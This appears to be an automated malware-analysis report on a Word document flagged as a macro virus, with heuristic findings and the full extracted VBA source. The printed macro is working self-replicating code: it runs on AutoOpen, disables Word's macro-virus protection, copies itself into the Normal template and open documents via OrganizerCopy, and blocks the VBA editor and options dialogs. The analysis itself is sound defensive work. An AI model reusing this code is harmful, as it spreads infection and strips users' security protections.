MALICIOUS
188
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains legacy WordBasic and VBA macros, including an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The ClamAV detection 'Doc.Trojan.Blox-1' and the presence of macros strongly suggest malicious intent. The macro attempts to disable security features and execute further actions, indicated by the 'BigBloha' subroutine.
Heuristics 4
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.VirusProtection = False ' True if Word displays a built-in warning message whenever you open a document or template that might contain macro viruses. -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5287 bytes |
SHA-256: bd8ce2ad60fb5f4171ef6a3c665b6a8e5bc28d9f3982b6d19e2da2e2418b8573 |
|||
|
Detection
ClamAV:
Doc.Trojan.Blox-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Блоха"
'Sub Crypt()
' Dim M$(2)
' A$ = "Auto"
' O$ = "Open"
' M$(0) = A$ + O$
'End Sub
Sub AutoOpen()
'Sub AO()
'Result = MsgBox("Блоха", vbOKOnly)
Call BigBloha
End Sub
Sub ViewVBCode() ' Теперь редактор VB перестанет запускаться ;)))
'Dialogs(wdDialogToolsMacro).Show '.Display
End Sub
Sub ToolsOptions() ' Теперь юзер не сможет поменять настройки редактора ;)))
End Sub
Sub BigBloha()
' Отключаем различные предупредительные сообщения, изменяя установки редактора Word
With Options
.ConfirmConversions = False ' True if Word displays the "Convert File" dialog box before it opens or inserts a file that isn't a Word document or template.
.VirusProtection = False ' True if Word displays a built-in warning message whenever you open a document or template that might contain macro viruses.
.SaveNormalPrompt = False ' True if Word prompts the user for confirmation to save changes to the Normal template before it quits.
End With
On Error Resume Next ' Включаем внутреннию обработку ошибок
' возникновение ошибки выполнения приводит к передаче управления на инструкцию, непосредственно следующую за инструкцией, при выполнении которой возникла ошибка.
Set cntnr = MacroContainer
motherName = UCase(cntnr.Name) ' Имя док-та, из которого запущен макрос
experemental = UCase(MacroContainer.Name)
targetName = UCase(ActiveDocument.Name) ' Имя активного в данный момент док-та
' Находим полное имя цели:
If motherName = targetName Then ' => Мы запущены из левого док-та
TargetFullName = NormalTemplate.FullName ' цель: Нормальный шаблон
MotherFullName = ActiveDocument.FullName ' источник: Активный док-т
'Копируем себя (весь файл целиком)в директорию с normal.dot:
ActiveDocument.SaveAs FileName:=NormalTemplate.Path + "\template.doc" ', FileFormat:=wdFormatText, WritePassword:="pass" '2 способ CopyFile
ActiveDocument.SaveAs FileName:=MotherFullName 'Восстанавливаем имя файла
f0 = 0
Else ' => Мы запущены из шаблона (normal.dot наверняка)
TargetFullName = ActiveDocument.FullName ' цель: Активный док-т
'MotherFullName = NormalTemplate.FullName ' источник
MotherFullName = NormalTemplate.Path + "\template.doc"
f0 = 1
End If
'******************************************************************************
'******************************************************************************
'Копируем макрос (Object:=wdOrganizerObjectProjectItems) в документ Destination:=two$ из док-та Source:=one$
Application.OrganizerCopy _
Source:=MotherFullName, _
Destination:=TargetFullName, _
Name:="Блоха", _
Object:=wdOrganizerObjectProjectItems 'признак того, что будем копировать макрос
'******************************************************************************
'******************************************************************************
'Сохраняем изменения в жертве:
'If f0 = 0 Then NormalTemplate.Save Else ActiveDocument.Save
If f0 = 1 Then ActiveDocument.Save
'******* Заполняем инфу о текущем док-те (автор,тема,заметки и т.д)
With Dialogs(wdDialogFileSummaryInfo) ' Подготавливаем стандартную диалоговую форму wdDialogFileSummaryInfo
.Author = "Andy"
.Title = "Infected Document"
.Subject = "Macro Virus Infection by Andy"
.Comments = "Hello from Andy !"
.Execute 'Включаем все эти установки ;)
End With
'*******
'******* Защищаем текущий док-т от юзера ;)
With ActiveDocument
''.ReadOnlyRecommended = False ' Разрешаем изменения этого (активного) док-та
''.Password = "" 'и ставим пароль на открытие док-та
''.WritePassword = "" ' Пароль от сохранения изменений в док-те
End With
'*******
On Error GoTo -1: On Error GoTo 0 ' Отключение обработки ошибки
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.